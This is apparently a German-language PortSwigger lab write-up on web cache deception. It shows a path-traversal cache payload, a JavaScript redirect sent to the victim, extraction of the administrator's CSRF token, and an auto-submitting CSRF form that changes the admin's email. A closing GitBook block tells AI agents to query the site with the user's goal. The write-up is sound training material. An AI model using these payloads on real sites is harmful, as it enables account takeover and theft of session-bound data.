> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/web-cache-deception/web-cache-deception-with-exact-match-rules.md).

# Web-Cache-Täuschung mit Exaktabgleichsregeln

Notizen zur Web-Cache-Täuschung mit Exaktabgleichsregeln für die Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungsablauf, Payload-Tests, Burp-Suite-Validierung und Kontext zur Behebung.

### Ausnutzen von Exact-Match-Cache-Regeln für Web Cache Deception

#### Ziel des Labs

* E-Mail-Adresse des Benutzers ändern **administrator**.
* Verbindung verfügbar: **wiener:peter**.
* Eine Liste von Trennzeichen wird bereitgestellt: Trennzeichenliste des Web-Cache-Deception-Labors.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f86c3b90bf71ae73e07c98c47a27ac9341ee78c7%2Fimage%20(72).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Beobachteter Kontext

* An **Mein Konto**, gibt es ein Feld zum Ändern der E-Mail-Adresse.
* Die gesendete Anfrage sieht wie folgt aus:

```bash
email=test%40test.com&csrf=Bfo2p16Es7RG8W0XBZxAJSuyJKOHbK0a
```

#### Trennzeichen-Tests

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6f26b8f823807a40dc938f45973dd196b8de7b21%2Fimage%20(73).png?alt=media" alt=""><figcaption></figcaption></figure>

* Beim Testen der Zeichen aus der Liste akzeptiert die Seite insbesondere:
* das **Semikolon** `;`
* das **Fragezeichen** `?`

Klassische Angriffe funktionieren in diesem Lab nicht.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4550863b81a2b926123ac37de6c13cc6de5e4463%2Fimage%20(74).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Entdeckung einer versteckten Ressource

* Von **Ziel -> Sitemap**, verwende **Inhalt entdecken**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5b47e50dcf1e29c09af02668de5b82429cf943fc%2Fimage%20(75).png?alt=media" alt=""><figcaption></figcaption></figure>

* A **robots-Datei. txt** erscheint und ist \*\* zwischengespeichert\*\*.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7a2cfdd0ca2bc5b0120774ceb3206b121152681e%2Fimage%20(76).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Cache-Aufnahme durch Normalisierung (exakter Pfad + Umweg)

Zweck: Den Cache dazu zwingen, eine sensible Antwort zu speichern, indem sie wie eine versteckte Ressource aussieht.

Verwendete Anwendungen:

```bash
GET /my-account;/../robots.txt
# Kodierte Version
GET /my-account;%2f%2e%2e%2frobots.txt
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dc7e444c69c4c7ba8e05e42c57973136217467f7%2Fimage%20(77).png?alt=media" alt=""><figcaption></figcaption></figure>

#### An das Opfer gesendeter Exploit

{% code overflow="wrap" %}

```javascript
<script>
    document.location = "https://0a6200c003095773896516fd00d800d3.web-security-academy.net/my-account;%2f%2e%2e%2frobots.txt";
</script>
```

{% endcode %}

Ergebnis:

* Die zurückgegebene Seite entspricht dem **Administratorkonto**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f9f5448a88fea61fdb98b9a3561e76d074de201a%2Fimage%20(78).png?alt=media" alt=""><figcaption></figcaption></figure>

In der Antwort holen wir das **CSRF-Token** aus dem E-Mail-Formular, zum Beispiel:

```html
<input required type="email" name="email" value="">
<input required type="hidden" name="csrf" value="rP2JD7Ik9im0XQi3E4OLwR22dbk6gNr5">
<button class='button' type='submit'> E-Mail-Adresse aktualisieren </button>
```

#### Geplante letzte Phase

* Verwende dieses Token, um einen **PoC-CSRF** zu erstellen, um eine **POST** Anfrage an die **Mein Konto** E-Mail-Änderungsseite zu senden und so die **administrator** E-Mail-Adresse zu ändern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d0fdf95cc8d9c20076db569ba67436ac1155398e%2Fimage%20(79).png?alt=media" alt=""><figcaption></figcaption></figure>

```html
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a6200c003095773896516fd00d800d3.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="hacked&#64;test&#46;com" />
      <input type="hidden" name="csrf" value="rP2JD7Ik9im0XQi3E4OLwR22dbk6gNr5" />
      <input type="submit" value="Anfrage senden" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/web/web-cache-deception/web-cache-deception-with-exact-match-rules.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
